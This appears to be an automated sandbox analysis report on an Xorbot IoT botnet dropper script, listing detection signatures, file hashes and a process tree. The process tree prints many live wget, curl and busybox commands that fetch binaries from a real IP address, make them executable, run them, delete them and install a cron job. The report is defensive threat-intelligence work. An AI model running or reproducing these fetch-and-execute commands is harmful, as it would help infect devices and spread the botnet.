Analysis

  • max time kernel
    115s
  • max time network
    144s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20250619-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/09/2025, 03:15

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250910-dsawbatyb1
  • SHA256 a162fecce63df7003fb3c3fe3e6acdfd0f93903750fd8b0a70ef1369b3bbfd12
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (662) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 12 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:700
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:704
      • /usr/bin/wget
        wget http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Writes file to tmp directory
        PID:707
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Writes file to tmp directory
        PID:727
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Writes file to tmp directory
        PID:730
      • /bin/chmod
        chmod 777 TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • File and Directory Permissions Modification
        PID:731
      • /tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        ./TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
          PID:732
        • /bin/rm
          rm TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
            2⤵
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
            2⤵
            • Writes file to tmp directory
            PID:737
          • /bin/chmod
            chmod 777 c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
            2⤵
            • File and Directory Permissions Modification
            PID:738
          • /tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
            ./c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
            2⤵
              PID:739
            • /bin/rm
              rm c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
              2⤵
                PID:742
              • /usr/bin/wget
                wget http://178.16.54.252/bins/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                2⤵
                • Writes file to tmp directory
                PID:743
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:750
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                2⤵
                • Writes file to tmp directory
                PID:759
              • /bin/chmod
                chmod 777 JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                2⤵
                • File and Directory Permissions Modification
                PID:763
              • /tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                ./JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                2⤵
                  PID:765
                • /bin/rm
                  rm JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                  2⤵
                    PID:768
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                    2⤵
                    • Writes file to tmp directory
                    PID:769
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:777
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                    2⤵
                    • Writes file to tmp directory
                    PID:789
                  • /bin/chmod
                    chmod 777 9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                    2⤵
                    • File and Directory Permissions Modification
                    PID:793
                  • /tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                    ./9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                    2⤵
                      PID:794
                    • /bin/rm
                      rm 9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                      2⤵
                        PID:798
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                        2⤵
                        • Writes file to tmp directory
                        PID:799
                      • /usr/bin/curl
                        curl -O http://178.16.54.252/bins/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                        2⤵
                        • Writes file to tmp directory
                        PID:802
                      • /bin/busybox
                        /bin/busybox wget http://178.16.54.252/bins/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                        2⤵
                        • Writes file to tmp directory
                        PID:803
                      • /bin/chmod
                        chmod 777 E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                        2⤵
                        • File and Directory Permissions Modification
                        PID:804
                      • /tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                        ./E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                        2⤵
                          PID:805
                        • /bin/rm
                          rm E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                          2⤵
                            PID:807
                          • /usr/bin/wget
                            wget http://178.16.54.252/bins/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                            2⤵
                            • Writes file to tmp directory
                            PID:808
                          • /usr/bin/curl
                            curl -O http://178.16.54.252/bins/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:809
                          • /bin/busybox
                            /bin/busybox wget http://178.16.54.252/bins/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                            2⤵
                            • Writes file to tmp directory
                            PID:815
                          • /bin/chmod
                            chmod 777 Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                            2⤵
                            • File and Directory Permissions Modification
                            PID:820
                          • /tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                            ./Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                            2⤵
                              PID:821
                            • /bin/rm
                              rm Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                              2⤵
                                PID:824
                              • /usr/bin/wget
                                wget http://178.16.54.252/bins/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                2⤵
                                • Writes file to tmp directory
                                PID:826
                              • /usr/bin/curl
                                curl -O http://178.16.54.252/bins/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:836
                              • /bin/busybox
                                /bin/busybox wget http://178.16.54.252/bins/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                2⤵
                                • Writes file to tmp directory
                                PID:847
                              • /bin/chmod
                                chmod 777 ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:848
                              • /tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                ./ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                2⤵
                                  PID:849
                                • /bin/rm
                                  rm ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                  2⤵
                                    PID:851
                                  • /usr/bin/wget
                                    wget http://178.16.54.252/bins/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:852
                                  • /usr/bin/curl
                                    curl -O http://178.16.54.252/bins/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:853
                                  • /bin/busybox
                                    /bin/busybox wget http://178.16.54.252/bins/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:854
                                  • /bin/chmod
                                    chmod 777 120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:858
                                  • /tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                    ./120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:859
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:861
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                          • Reads runtime system information
                                          PID:862
                                      • /bin/sh
                                        sh -c "crontab -"
                                        3⤵
                                          PID:863
                                          • /usr/bin/crontab
                                            crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            • Reads runtime system information
                                            PID:864
                                      • /bin/rm
                                        rm 120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                        2⤵
                                          PID:866
                                        • /usr/bin/wget
                                          wget http://178.16.54.252/bins/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                          2⤵
                                            PID:869
                                          • /usr/bin/curl
                                            curl -O http://178.16.54.252/bins/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                            2⤵
                                              PID:910
                                            • /bin/busybox
                                              /bin/busybox wget http://178.16.54.252/bins/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:911
                                            • /bin/chmod
                                              chmod 777 vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:912
                                            • /tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                              ./vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                              2⤵
                                                PID:913
                                              • /bin/rm
                                                rm vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                                2⤵
                                                  PID:914
                                                • /usr/bin/wget
                                                  wget http://178.16.54.252/bins/Z8IWHp5KuN7chYW39sFTc7zzutB3REkyej
                                                  2⤵
                                                    PID:915
                                                  • /usr/bin/curl
                                                    curl -O http://178.16.54.252/bins/Z8IWHp5KuN7chYW39sFTc7zzutB3REkyej
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:916

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      120wAer7idhbNFA62mjwfieSsa9mYpDHDh

                                                      • Path /tmp/120wAer7idhbNFA62mjwfieSsa9mYpDHDh
                                                      • Size 152KB
                                                      • SHA256 d8018e31b77b135ed300a988757f409347d013b76f9c9a4972e48cb715f45967
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H

                                                      • Path /tmp/9E6NXF9JmaIxL3mH8JRePiGwSVynBZ7D3H
                                                      • Size 120KB
                                                      • SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59

                                                      • Path /tmp/E4GzSXksWA4g9hmBARDi40XIL1gGPZbw59
                                                      • Size 114KB
                                                      • SHA256 b53d4781bbadb17014da280e274e11f2de9063a35f2eabd32d4596707b147306
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc

                                                      • Path /tmp/ISScjwTKiVCysfSQPJbLxJKYaY3SAQfrqc
                                                      • Size 141KB
                                                      • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3

                                                      • Path /tmp/JqsAaYNlwcZm79putGaJQ0uVkHsrNdhIX3
                                                      • Size 178KB
                                                      • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h

                                                      • Path /tmp/Rf9jPhnhhE5FnSQIa6GwRQxwWzZeQX7W0h
                                                      • Size 114KB
                                                      • SHA256 4190491b9006404cab256d66125bd77b1c3a0e63451fbb3d829617d7e87acc9b
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6

                                                      • Path /tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
                                                      • Size 127KB
                                                      • SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0

                                                      • Path /tmp/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
                                                      • Size 122KB
                                                      • SHA256 8ce9145fee0d3d2444554d901b334c36e71bb1346280ada7ff366cf9d25c5938
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7

                                                      • Path /tmp/vY6FUiaS8kXewuaKLGmCF9frWmqkf9c8V7
                                                      • Size 152KB
                                                      • SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.utXIyN

                                                      • Path /var/spool/cron/crontabs/tmp.utXIyN
                                                      • Size 210B
                                                      • SHA256 f4d76ca50427b020dc2d8771eaf21634156dc7a8667a273c512522ff118bee05
                                                      • MD5 SHA1 SHA512